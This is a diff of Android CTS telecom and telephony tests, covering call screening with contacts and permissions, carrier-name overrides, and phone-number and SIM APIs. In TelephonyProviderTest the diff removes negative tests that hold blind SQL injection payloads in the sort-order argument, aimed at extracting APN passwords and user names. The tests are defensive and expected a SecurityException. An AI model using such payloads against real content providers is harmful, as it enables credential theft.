@@ -109,6 +111,36 @@ public class CallScreeningServiceTest extends InstrumentationTestCase {
fail("No call added to CallScreeningService.");
}
+ /**
+ * Tests that when sendinga a CALL intent via the Telecom stack and the test number is in the
+ * user's contact, Telecom binds to the registered {@link CallScreeningService}s and invokes
+ * onScreenCall.
+ */
+ public void testBindsToCallScreeningServiceWhenContactExist() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ CallScreeningServiceCallbacks callbacks = createCallbacks();
+ MockCallScreeningService.setCallbacks(callbacks);
+ Uri contactUri = TestUtils.insertContact(mContentResolver,
+ TEST_NUMBER.getSchemeSpecificPart());
+ addNewIncomingCall(TEST_NUMBER);
+
+ try {
+ if (callbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ assertTrue(mCallFound);
+ return;
+ }
+ } catch (InterruptedException e) {
+ } finally {
+ assertEquals(1, TestUtils.deleteContact(mContentResolver, contactUri));
+ }
+
+ fail("No call added to CallScreeningService.");
+ }
+
private void addNewIncomingCall(Uri incomingHandle) {
Bundle extras = new Bundle();
extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, incomingHandle);
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index b82a84e3981..471893799f7 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -18,6 +18,8 @@ package android.telecom.cts;
import android.app.Instrumentation;
import android.bluetooth.BluetoothDevice;
import android.content.ComponentName;
+import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Color;
@@ -31,6 +33,7 @@ import android.os.ParcelFileDescriptor;
import android.os.Process;
import android.os.SystemClock;
import android.os.UserManager;
+import android.provider.ContactsContract;
import android.telecom.PhoneAccount;
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
@@ -666,4 +669,37 @@ public class TestUtils {
instrumentation.getContext().getSystemService(UserManager.class);
return userManager.getSerialNumberForUser(Process.myUserHandle());
}
+
+
+
+ public static Uri insertContact(ContentResolver contentResolver, String phoneNumber)
+ throws Exception {
+ ArrayList<ContentProviderOperation> ops = new ArrayList<>();
+ ops.add(ContentProviderOperation
+ .newInsert(ContactsContract.RawContacts.CONTENT_URI)
+ .withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, "test_type")
+ .withValue(ContactsContract.RawContacts.ACCOUNT_NAME, "test_name")
+ .build());
+ ops.add(ContentProviderOperation
+ .newInsert(ContactsContract.Data.CONTENT_URI)
+ .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
+ .withValue(ContactsContract.Data.MIMETYPE,
+ ContactsContract.CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
+ .withValue(ContactsContract.CommonDataKinds.StructuredName.DISPLAY_NAME, "test")
+ .build());
+ ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
+ .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
+ .withValue(ContactsContract.Data.MIMETYPE,
+ ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE)
+ .withValue(ContactsContract.CommonDataKinds.Phone.NUMBER, phoneNumber)
+ .withValue(ContactsContract.CommonDataKinds.Phone.TYPE,
+ ContactsContract.CommonDataKinds.Phone.TYPE_MOBILE)
+ .withYieldAllowed(true)
+ .build());
+ return contentResolver.applyBatch(ContactsContract.AUTHORITY, ops)[0].uri;
+ }
+
+ public static int deleteContact(ContentResolver contentResolver, Uri deleteUri) {
+ return contentResolver.delete(deleteUri, null, null);
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
index 3251dbe0cd8..aa01b761adb 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
@@ -21,11 +21,14 @@ import static android.telecom.cts.TestUtils.waitOnAllHandlers;
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import android.Manifest;
import android.app.role.RoleManager;
import android.content.ComponentName;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
@@ -61,6 +64,9 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS
private ICallScreeningControl mCallScreeningControl;
private RoleManager mRoleManager;
private String mPreviousCallScreeningPackage;
+ private PackageManager mPackageManager;
+ private Uri mContactUri;
+ private ContentResolver mContentResolver;
@Override
protected void setUp() throws Exception {
@@ -69,12 +75,15 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS
return;
}
mRoleManager = (RoleManager) mContext.getSystemService(Context.ROLE_SERVICE);
+ mPackageManager = mContext.getPackageManager();
+ revokeReadContactPermission();
setupControlBinder();
setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
rememberPreviousCallScreeningApp();
// Ensure CTS app holds the call screening role.
addRoleHolder(ROLE_CALL_SCREENING,
CtsCallScreeningService.class.getPackage().getName());
+ mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
}
@Override
@@ -109,10 +118,10 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS
// Tell the test app to block the call.
mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
- true /* shouldRejectCall */, false /* shouldSilenceCall */, false /* shouldSkipCallLog */,
- true /* shouldSkipNotification */);
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
- addIncomingAndVerifyBlocked();
+ addIncomingAndVerifyBlocked(false /* addContact */);
}
/**
@@ -129,10 +138,10 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS
// Tell the test app to block the call; also try to skip logging the call.
mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
- true /* shouldRejectCall */, false /* shouldSilenceCall */, true /* shouldSkipCallLog */,
- true /* shouldSkipNotification */);
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ true /* shouldSkipCallLog */, true /* shouldSkipNotification */);
- addIncomingAndVerifyBlocked();
+ addIncomingAndVerifyBlocked(false /* addContact */);
}
/**
@@ -169,6 +178,55 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS
addIncomingAndVerifyCallExtraForSilence(false);
}
+ public void testHasPermissionAndNoContactIncoming() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ grantReadContactPermission();
+ // Tell the test app to block the call.
+ mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+ addIncomingAndVerifyBlocked(false /* addContact */);
+ }
+
+ public void testNoPermissionAndNoContactIncoming() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ // Tell the test app to block the call.
+ mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+ addIncomingAndVerifyBlocked(false /* addContact */);
+ }
+
+ public void testHasPermissionAndHasContactIncoming() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ grantReadContactPermission();
+ mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+ addIncomingAndVerifyBlocked(true /* addContact */);
+ }
+
+ public void testNoPermissionAndHasContactIncoming() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ verifyNoPermission();
+ mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+ true /* shouldRejectCall */, false /* shouldSilenceCall */,
+ false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+ addIncomingAndVerifyAllowed(true /* addContact */);
+ }
+
private Uri placeOutgoingCall() throws Exception {
// Setup content observer to notify us when we call log entry is added.
CountDownLatch callLogEntryLatch = getCallLogEntryLatch();
@@ -187,10 +245,14 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS
return phoneNumber;
}
- private Uri addIncoming(boolean disconnectImmediately) throws Exception {
+ private Uri addIncoming(boolean disconnectImmediately, boolean addContact) throws Exception {
// Add call through TelecomManager; we can't use the test methods since they assume a call
// makes it through to the InCallService; this is blocked so it shouldn't.
Uri testNumber = createRandomTestNumber();
+ if (addContact) {
+ mContactUri = TestUtils.insertContact(mContentResolver,
+ testNumber.getSchemeSpecificPart());
+ }
// Setup content observer to notify us when we call log entry is added.
CountDownLatch callLogEntryLatch = getCallLogEntryLatch();
@@ -213,11 +275,36 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS
return testNumber;
}
- private void addIncomingAndVerifyBlocked() throws Exception {
- Uri testNumber = addIncoming(false);
+ private void addIncomingAndVerifyAllowed(boolean addContact) throws Exception {
+ Uri testNumber = addIncoming(true, addContact);
+
+ // Query the latest entry into the call log.
+ Cursor callsCursor = mContentResolver.query(CallLog.Calls.CONTENT_URI, null,
+ null, null, CallLog.Calls._ID + " DESC limit 1;");
+ int numberIndex = callsCursor.getColumnIndex(CallLog.Calls.NUMBER);
+ int callTypeIndex = callsCursor.getColumnIndex(CallLog.Calls.TYPE);
+ int blockReasonIndex = callsCursor.getColumnIndex(CallLog.Calls.BLOCK_REASON);
+ if (callsCursor.moveToNext()) {
+ String number = callsCursor.getString(numberIndex);
+ int callType = callsCursor.getInt(callTypeIndex);
+ int blockReason = callsCursor.getInt(blockReasonIndex);
+ assertEquals(testNumber.getSchemeSpecificPart(), number);
+ assertEquals(CallLog.Calls.INCOMING_TYPE, callType);
+ assertEquals(CallLog.Calls.BLOCK_REASON_NOT_BLOCKED, blockReason);
+ } else {
+ fail("Call not logged");
+ }
+
+ if (addContact && mContactUri != null) {
+ assertEquals(1, TestUtils.deleteContact(mContentResolver, mContactUri));
+ }
+ }
+
+ private void addIncomingAndVerifyBlocked(boolean addContact) throws Exception {
+ Uri testNumber = addIncoming(false, addContact);
// Query the latest entry into the call log.
- Cursor callsCursor = mContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
+ Cursor callsCursor = mContentResolver.query(CallLog.Calls.CONTENT_URI, null,
null, null, CallLog.Calls._ID + " DESC limit 1;");
int numberIndex = callsCursor.getColumnIndex(CallLog.Calls.NUMBER);
int callTypeIndex = callsCursor.getColumnIndex(CallLog.Calls.TYPE);
@@ -240,11 +327,15 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS
} else {
fail("Blocked call was not logged.");
}
+
+ if (addContact && mContactUri != null) {
+ assertEquals(1, TestUtils.deleteContact(mContentResolver, mContactUri));
+ }
}
private void addIncomingAndVerifyCallExtraForSilence(boolean expectedIsSilentRingingExtraSet)
throws Exception {
- Uri testNumber = addIncoming(false);
+ Uri testNumber = addIncoming(false, false);
waitUntilConditionIsTrueOrTimeout(
new Condition() {
@@ -349,4 +440,24 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS
assertTrue(result);
}
+ private void grantReadContactPermission() {
+ runWithShellPermissionIdentity(() -> {
+ if (mPackageManager != null) {
+ mPackageManager.grantRuntimePermission(TEST_APP_PACKAGE,
+ Manifest.permission.READ_CONTACTS, mContext.getUser());
+ }});
+ }
+
+ private void revokeReadContactPermission() {
+ runWithShellPermissionIdentity(() -> {
+ if (mPackageManager != null) {
+ mPackageManager.revokeRuntimePermission(TEST_APP_PACKAGE,
+ Manifest.permission.READ_CONTACTS, mContext.getUser());
+ }});
+ }
+
+ private void verifyNoPermission() {
+ assertTrue(mPackageManager.checkPermission(Manifest.permission.READ_CONTACTS,
+ TEST_APP_PACKAGE) == PackageManager.PERMISSION_DENIED);
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 39a9346426b..aeeb9b1e5e0 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -28,8 +28,6 @@ import static androidx.test.InstrumentationRegistry.getContext;
import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static com.android.compatibility.common.util.AppOpsUtils.setOpMode;
-import static com.android.internal.telephony.TelephonyIntents.EXTRA_SPN;
-import static com.android.internal.telephony.TelephonyIntents.SPN_STRINGS_UPDATED_ACTION;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -38,10 +36,7 @@ import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.app.UiAutomation;
-import android.content.BroadcastReceiver;
import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.os.Looper;
@@ -49,6 +44,7 @@ import android.os.PersistableBundle;
import android.platform.test.annotations.SecurityTest;
import android.telephony.CarrierConfigManager;
import android.telephony.SubscriptionManager;
+import android.telephony.SubscriptionManager.OnSubscriptionsChangedListener;
import android.telephony.TelephonyManager;
import com.android.compatibility.common.util.TestThread;
@@ -58,15 +54,18 @@ import org.junit.Before;
import org.junit.Test;
import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
public class CarrierConfigManagerTest {
private static final String CARRIER_NAME_OVERRIDE = "carrier_a";
private CarrierConfigManager mConfigManager;
private TelephonyManager mTelephonyManager;
+ private SubscriptionManager mSubscriptionManager;
private PackageManager mPackageManager;
private static final int TOLERANCE = 2000;
- private final Object mLock = new Object();
+ private static final CountDownLatch COUNT_DOWN_LATCH = new CountDownLatch(1);
@Before
public void setUp() throws Exception {
@@ -74,6 +73,9 @@ public class CarrierConfigManagerTest {
getContext().getSystemService(Context.TELEPHONY_SERVICE);
mConfigManager = (CarrierConfigManager)
getContext().getSystemService(Context.CARRIER_CONFIG_SERVICE);
+ mSubscriptionManager =
+ (SubscriptionManager)
+ getContext().getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
mPackageManager = getContext().getPackageManager();
}
@@ -215,6 +217,18 @@ public class CarrierConfigManagerTest {
public void run() {
Looper.prepare();
+ OnSubscriptionsChangedListener listener =
+ new OnSubscriptionsChangedListener() {
+ @Override
+ public void onSubscriptionsChanged() {
+ if (CARRIER_NAME_OVERRIDE.equals(
+ mTelephonyManager.getSimOperatorName())) {
+ COUNT_DOWN_LATCH.countDown();
+ }
+ }
+ };
+ mSubscriptionManager.addOnSubscriptionsChangedListener(listener);
+
PersistableBundle carrierNameOverride = new PersistableBundle(3);
carrierNameOverride.putBoolean(KEY_CARRIER_NAME_OVERRIDE_BOOL, true);
carrierNameOverride.putBoolean(KEY_FORCE_HOME_NETWORK_BOOL, true);
@@ -226,27 +240,11 @@ public class CarrierConfigManagerTest {
});
try {
- BroadcastReceiver spnBroadcastReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (CARRIER_NAME_OVERRIDE.equals(intent.getStringExtra(EXTRA_SPN))) {
- synchronized (mLock) {
- mLock.notify();
- }
- }
- }
- };
-
- getContext().registerReceiver(
- spnBroadcastReceiver,
- new IntentFilter(SPN_STRINGS_UPDATED_ACTION));
-
- synchronized (mLock) {
- t.start();
- mLock.wait(TOLERANCE); // wait for SPN broadcast
+ t.start();
+ boolean didCarrierNameUpdate = COUNT_DOWN_LATCH.await(TOLERANCE, TimeUnit.MILLISECONDS);
+ if (!didCarrierNameUpdate) {
+ fail("CarrierName not overridden in " + TOLERANCE + " ms");
}
-
- assertEquals(CARRIER_NAME_OVERRIDE, mTelephonyManager.getSimOperatorName());
} finally {
mConfigManager.overrideConfig(subId, null);
ui.dropShellPermissionIdentity();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
index daf078be856..49558d1401d 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -31,6 +31,7 @@ import android.os.RemoteException;
import android.provider.Contacts;
import android.provider.Contacts.People;
import android.telephony.PhoneNumberUtils;
+import android.telephony.SubscriptionManager;
import android.telephony.TelephonyManager;
import android.text.Editable;
import android.text.Spannable;
@@ -38,12 +39,12 @@ import android.text.SpannableString;
import android.text.SpannableStringBuilder;
import android.text.style.TtsSpan;
-import java.util.Locale;
-
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
+import java.util.Locale;
+
public class PhoneNumberUtilsTest {
private static final int MIN_MATCH = 7;
@@ -92,6 +93,7 @@ public class PhoneNumberUtilsTest {
String.format("+1 (700).555-41NN%c1-2.34 %c%cN", PhoneNumberUtils.WAIT,
PhoneNumberUtils.PAUSE,
PhoneNumberUtils.WAIT)));
+ assertEquals("example", PhoneNumberUtils.getUsernameFromUriNumber("example@example.com"));
}
@Test
@@ -332,6 +334,18 @@ public class PhoneNumberUtilsTest {
// Test isWellFormedSmsAddress
assertTrue(PhoneNumberUtils.isWellFormedSmsAddress("+17005554141"));
assertFalse(PhoneNumberUtils.isWellFormedSmsAddress("android"));
+
+ // Test isUriNumber
+ assertTrue(PhoneNumberUtils.isUriNumber("example@example.com"));
+ assertFalse(PhoneNumberUtils.isUriNumber("+18005555555"));
+
+ // Test isVoicemailNumber -- this is closely tied to the SIM so we'll just test some basic
+ // cases
+ assertFalse(PhoneNumberUtils.isVoiceMailNumber(getContext(),
+ SubscriptionManager.getDefaultSubscriptionId(), null));
+ assertFalse(PhoneNumberUtils.isVoiceMailNumber(getContext(),
+ SubscriptionManager.getDefaultSubscriptionId(), ""));
+
}
@Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 26358f0eff7..403ef32e0d6 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -16,27 +16,25 @@
package android.telephony.cts;
-import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber;
-import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber;
-
import static androidx.test.InstrumentationRegistry.getContext;
import static androidx.test.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
+import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber;
+import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber;
import static org.hamcrest.Matchers.anyOf;
import static org.hamcrest.Matchers.emptyString;
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.greaterThan;
-import static org.hamcrest.Matchers.lessThanOrEqualTo;
import static org.hamcrest.Matchers.startsWith;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.app.AppOpsManager;
import android.app.PendingIntent;
@@ -57,7 +55,6 @@ import android.os.Bundle;
import android.os.ParcelFileDescriptor;
import android.os.RemoteCallback;
import android.os.SystemClock;
-import android.provider.Settings;
import android.provider.Telephony;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
@@ -65,6 +62,10 @@ import android.telephony.TelephonyManager;
import android.text.TextUtils;
import android.util.Log;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
@@ -79,10 +80,6 @@ import java.util.concurrent.CompletableFuture;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
/**
* Tests for {@link android.telephony.SmsManager}.
*
@@ -671,7 +668,13 @@ public class SmsManagerTest {
protected void sendMultiPartTextMessage(String destAddr, ArrayList<String> parts,
ArrayList<PendingIntent> sentIntents, ArrayList<PendingIntent> deliveryIntents) {
- getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents, deliveryIntents);
+ if (mContext.getOpPackageName() != null) {
+ getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents,
+ deliveryIntents, mContext.getOpPackageName());
+ } else {
+ getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents,
+ deliveryIntents);
+ }
}
protected void sendDataMessage(String destAddr,short port, byte[] data, PendingIntent sentIntent, PendingIntent deliveredIntent) {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 51c15637bc3..9950386bf3d 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -285,6 +285,23 @@ public class SubscriptionManagerTest {
}
@Test
+ public void testSetDefaultVoiceSubId() {
+ int oldSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity();
+ try {
+ mSm.setDefaultVoiceSubscriptionId(SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+ assertEquals(SubscriptionManager.INVALID_SUBSCRIPTION_ID,
+ SubscriptionManager.getDefaultVoiceSubscriptionId());
+ mSm.setDefaultVoiceSubscriptionId(oldSubId);
+ assertEquals(oldSubId, SubscriptionManager.getDefaultVoiceSubscriptionId());
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
public void testSubscriptionPlansOverrideUnmetered() throws Exception {
if (!isSupported()) return;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 75079d948d9..3ffeafab428 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -465,6 +465,7 @@ public class TelephonyManagerTest {
mTelephonyManager.isVoicemailVibrationEnabled(defaultAccount);
mTelephonyManager.getSubIdForPhoneAccountHandle(defaultAccount);
mTelephonyManager.getCarrierConfig();
+ TelephonyManager.getDefaultRespondViaMessageApplication(getContext(), false);
}
@Test
@@ -686,6 +687,20 @@ public class TelephonyManagerTest {
}
/**
+ * Tests the max number of active SIMs method
+ */
+ @Test
+ public void testGetMaxNumberOfSimultaneouslyActiveSims() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+ return;
+ }
+
+ int maxNum = mTelephonyManager.getMaxNumberOfSimultaneouslyActiveSims();
+ assertTrue(maxNum >= 1);
+ }
+
+ /**
* Tests that the device properly reports either a valid IMEI, MEID/ESN, or a valid MAC address
* if only a WiFi device. At least one of them must be valid.
*/
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
index d54260be9f6..79337916ac4 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
@@ -18,7 +18,6 @@ package android.telephonyprovider.cts;
import android.content.ContentResolver;
import android.database.Cursor;
-import android.net.Uri;
import android.provider.Telephony.Carriers;
import android.test.InstrumentationTestCase;
@@ -42,97 +41,18 @@ public class TelephonyProviderTest extends InstrumentationTestCase {
// In JB MR1 access to the TelephonyProvider's Carriers table was clamped down and would
// throw a SecurityException when queried. That was fixed in JB MR2. Verify that 3rd parties
// can access the APN info the carriers table, after JB MR1.
+
+ // However, in R, a security bug was discovered that let apps read the password by querying
+ // multiple times and matching passwords against a regex in the query. Due to this hole, we're
+ // locking down the API and no longer allowing the exception. Accordingly, the behavior of this
+ // test is now reversed and we expect a SecurityException to be thrown.
public void testAccessToApns() {
try {
String selection = Carriers.CURRENT + " IS NOT NULL";
String[] selectionArgs = null;
Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
APN_PROJECTION, selection, selectionArgs, null);
- } catch (SecurityException e) {
- fail("No access to current APN");
- }
- }
-
- public void testNoAccessToPassword() {
- try {
- String selection = Carriers.CURRENT + " IS NOT NULL AND "
- + Carriers.PASSWORD + " IS NOT NULL";
- String[] selectionArgs = null;
- Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
- APN_PROJECTION, selection, selectionArgs, null);
- fail("Expected SecurityException");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- public void testNoAccessToPasswordThruSort() {
- try {
- String selection = Carriers.CURRENT + " IS NOT NULL";
- String[] selectionArgs = null;
- String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
- + " password LIKE 'a%') > 0) THEN 1 ELSE 0 END";
- Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
- APN_PROJECTION, selection, selectionArgs, sort);
- fail("Expected SecurityException");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- public void testNoAccessToPasswordThruMixedCase() {
- try {
- String selection = Carriers.CURRENT + " IS NOT NULL";
- String[] selectionArgs = null;
- String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
- + " PaSsWoRd LIKE 'a%') > 0) THEN 1 ELSE 0 END";
- Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
- APN_PROJECTION, selection, selectionArgs, sort);
- fail("Expected SecurityException");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- public void testNoAccessToUser() {
- try {
- String selection = Carriers.CURRENT + " IS NOT NULL AND "
- + Carriers.USER + " IS NOT NULL";
- String[] selectionArgs = null;
- String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
- + " user LIKE 'a%') > 0) THEN 1 ELSE 0 END";
- Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
- APN_PROJECTION, selection, selectionArgs, sort);
- fail("Expected SecurityException");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- public void testNoAccessViaSubqueries() {
- try {
- String selection = Carriers.CURRENT + " IS NOT NULL";
- String[] selectionArgs = null;
- String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
- + " mcc LIKE 'a%') > 0) THEN 1 ELSE 0 END";
- Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
- APN_PROJECTION, selection, selectionArgs, sort);
- fail("Expected SecurityException");
- } catch (SecurityException e) {
- // expected
- }
- }
-
- public void testNoAccessToUserWithDifferentUri() {
- try {
- String selection = Carriers.CURRENT + " IS NOT NULL AND "
- + Carriers.USER + " IS NOT NULL";
- String[] selectionArgs = null;
- String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
- + " user LIKE 'a%') > 0) THEN 1 ELSE 0 END";
- Cursor cursor = mContentResolver.query(Uri.parse("content://telephony/siminfo"),
- APN_PROJECTION, selection, selectionArgs, sort);
- fail("Expected SecurityException");
+ fail("No SecurityException thrown");
} catch (SecurityException e) {
// expected
}
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 00856cd5aca..12a4271b058 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,6 +33,7 @@ import android.graphics.Paint;
import android.graphics.Paint.FontMetricsInt;
import android.graphics.Typeface;
import android.os.LocaleList;
+import android.platform.test.annotations.SecurityTest;
import android.text.Editable;
import android.text.Layout;
import android.text.Layout.Alignment;
@@ -1683,6 +1684,7 @@ public class StaticLayoutTest {
}
// This is for b/140755449
+ @SecurityTest
@Test
public void testBidiVisibleEnd() {
TextPaint paint = new TextPaint();
diff --git a/tests/tests/tools/processors/view_inspector/AndroidTest.xml b/tests/tests/tools/processors/view_inspector/AndroidTest.xml
index 8745e65f846..02be70984f3 100644
--- a/tests/tests/tools/processors/view_inspector/AndroidTest.xml
+++ b/tests/tests/tools/processors/view_inspector/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
